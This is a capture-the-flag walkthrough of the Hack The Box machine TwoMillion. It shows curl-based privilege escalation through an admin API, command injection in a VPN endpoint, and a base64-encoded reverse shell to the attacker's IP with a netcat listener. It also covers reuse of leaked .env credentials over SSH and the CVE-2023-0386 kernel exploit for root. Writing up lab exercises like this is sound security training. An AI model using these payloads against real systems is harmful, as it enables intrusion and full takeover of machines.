HTB - TwoMillion
Author: Alcidius
June 23, 2025
Description
TwoMillion is a Hack The Box machine that simulates an older version of the Hack The Box platform. In this version, users need to “hack” an invite code to register an account. Once the invite code is obtained, the account can be created and logged into. The API endpoint can be enumerated to reveal a PUT request, which, when used, elevates the account to admin privileges. With admin access, an admin VPN package can be downloaded, which contains a command injection vulnerability allowing for remote code execution (RCE). With a reverse shell, a .env file is found, containing database credentials that also work for SSH access. Once logged into the system, running uname -a reveals a vulnerable kernel (CVE-2023-0386), which, when exploited, grants a root shell.
Enumeration
The enumeration phase usually starts off with an nmap scan, which in this case will be no different.
Nmap
nmap -sC -sV -Pn 10.10.11.221 -o scan.txt
The scan reveals port 22 and port 80 open. Port 80 redirects to 2million.htb, it must be noted to add this to the /etc/hosts file.
echo \'10.10.11.221\' 2million.htb\' | sudo tee -a /etc/hosts
Pivoting
Upon accessing the website we see an old version of the HackTheBox website.
In the navigation bar of the website, a button called “join” will refer us to an invite code. In the old HackTheBox platform, one must “hack” their way into the platform. Opening the Network tab with f12 in the browser reveals what files make up this web page.
The text in ROT13:
Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr
The text decoded to readable text:
In order to generate the invite code, make a POST request to /api/v1/invite/generate
Following up on this advise, we can do this with curl and get the invite code.
curl -X POST http://2million.htb/api/v1/invite/generate | jq
Once the invite code has been created we must decode it with base64. This can be done from the terminal using base64 -d.
echo "MVlQM0QtSUsxQTktNVVWUEUtTU4yTkE=" | base64 -d
resulting in a valid invite code. After providing the invite code to the input field, the registration page will be presented. Here a user can be registered. Remembering the username and email will be important later.
Once logged in, the main dashboard will be displayed.
The endpoint /api/v1/invite/generate has been used. It seems like this api manages the web application. Finding more endpoints will likely open more doors.
curl 2million.htb/api
This however, results in an error because this api requires the session id to also be provided. This can be retrieved from f12 -> Storage -> PHPSESSID.
curl 2million.htb/api --cookie "PHPSESSID=l0rri5ku5d50b4rb4a1n94jmcj" | jq
In the previous requests, /api/v1 was referenced, this will once more be used to see what happens.
curl 2million.htb/api/v1 --cookie "PHPSESSID=l0rri5ku5d50b4rb4a1n94jmcj" | jq
The admin api endpoints are noteworthy. All three of them can be tested of which only one shows an outcome.
$ curl 2million.htb/api/v1/admin/auth --cookie "PHPSESSID=l0rri5ku5d50b4rb4a1n94jmcj" | jq
The output displays that the account on this session does not have admin privileges.
$ curl -X POST 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=l0rri5ku5d50b4rb4a1n94jmcj" | jq
The output for the POST request simply shows no output at all, likely indicating that this user has no access to call this api endpoint.
curl -X PUT 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=l0rri5ku5d50b4rb4a1n94jmcj" | jq
The output shows invalid content. Indicating all three do not operate without providing data. This account has been created with an invite code, username, email address and password. It is likely the invite code won't be saved, leaving only three other values that can be provided. Starting with the username.
curl -X PUT 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=l0rri5ku5d50b4rb4a1n94jmcj" --header "Content-Type: application/json" --data \'{"username":"Alcidius"}\' | jq
The output shows an email is missed, which is the next parameter that can be provided.
curl -X PUT 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=l0rri5ku5d50b4rb4a1n94jmcj" --header "Content-Type: application/json" --data \'{"username":"Alcidius", "email":"user@alcidius.com"}\' | jq
one more parameter missing is is_admin. This parameter sounds like a boolean type, indicating a true or a false. Or in this case, 1 or 0.
curl -X PUT 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=l0rri5ku5d50b4rb4a1n94jmcj" --header "Content-Type: application/json" --data \'{"username":"Alcidius", "email":"user@alcidius.com", "is_admin":1}\' | jq
Now, let's go back to the first admin api endpoint and check if this user is now admin.
curl 2million.htb/api/v1/admin/auth --cookie "PHPSESSID=l0rri5ku5d50b4rb4a1n94jmcj" | jq
The output shows the user now has admin privileges. Maybe now the second api endpoint can be called using a POST request. Due to it being a POST request, it expects data to be sent. Just like the previous api call, the username can be provided.
curl -X POST 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=l0rri5ku5d50b4rb4a1n94jmcj" --header "Content-Type: application/json" --data \'{"username":"Alcidius"}\'
This results in the vpn file being sent.
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
...
This seemed kind of a dead end at first. However, given that user input has been provided in the form of data, and this user input has somehow been checked to create the vpn file. Some system commands must have been executed, resulting in a command injection vulnerability. This can be verified by changing the data section to \'{"user":"Alcidius;whoami;"}\'.
curl -X POST 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=l0rri5ku5d50b4rb4a1n94jmcj" --header "Content-Type: application/json" --data \'{"username":"Alcidius;whoami;"}\'

Foothold
This command injection vulnerability allows for the setup of a reverse shell. Usually ones from pentestmonkey work fine. For ease of execution, this should be encoded in base64 and given the commands to decode and execute it inside of the command injection field.
\'{"user":"Alcidius;echo [BASE64 HERE] | base64 -d | bash}\'
The echo normally prints the text, in this case it will print the base64 encoded shell. Firstly however, it will be decoded, then with bash, the code will be ran.
curl -X POST 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=l0rri5ku5d50b4rb4a1n94jmcj" --header "Content-Type: application/json" --data \'{"username":"Alcidius;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNC8xMjM0IDA+JjEK | base64 -d | bash;"}\'
Before this is ran however, a netcat listener should be setup in another terminal.
nc -lvnp 1234
When the POST request is sent, a reverse shell will be setup for the netcat listener where commands can be executed.
Running ls -la will show the files. Looking for .htpasswd or .env files will be useful since these usually contain credentials. This machine contains a .env file with credentials for a user named admin. Upon reading the contents the credentials are discovered.
This output shows the credentials for user admin:admin:SuperDuperPass123. If the sysadmin reuses passwords, it might be possible to use these to login to the ssh server using these credentials.

Privilege escalation
The ssh service also shows what kernel is being used. Another way this can be viewed is with uname -a. With a quick google search, it is discovered that this version is vulnerable to CVE-2023-0386. This vulnerability is a flaw in the Linux Kernel's OverlayFS subsystem.
This Git repository can be cloned to the local machine and from the local machine sent to the vulnerable machine using scp.
git clone https://github.com/puckiestyle/CVE-2023-0386.git
Once cloned, it can be zipped.
zip -r Alcidius.zip CVE-2023-0386/
This results in a file that can be sent over using scp.
scp Alcidius.zip admin@2million.htb:/home/admin
Running ls shows the zip file being in the home directory.
This can be unzipped using unzip and then it can be built.
unzip Alcidius.zip && cd CVE-2023-0386
After unzipping, the source code can be built using make all. After which, four executables should be generated. Three of these will be executed in one terminal, meanwhile ./exp will be executed on a seperate, other terminal.
./fuse ./ovlcap/lower ./gc
In the other terminal
./exp
This results in the user becoming root and concludes this machine.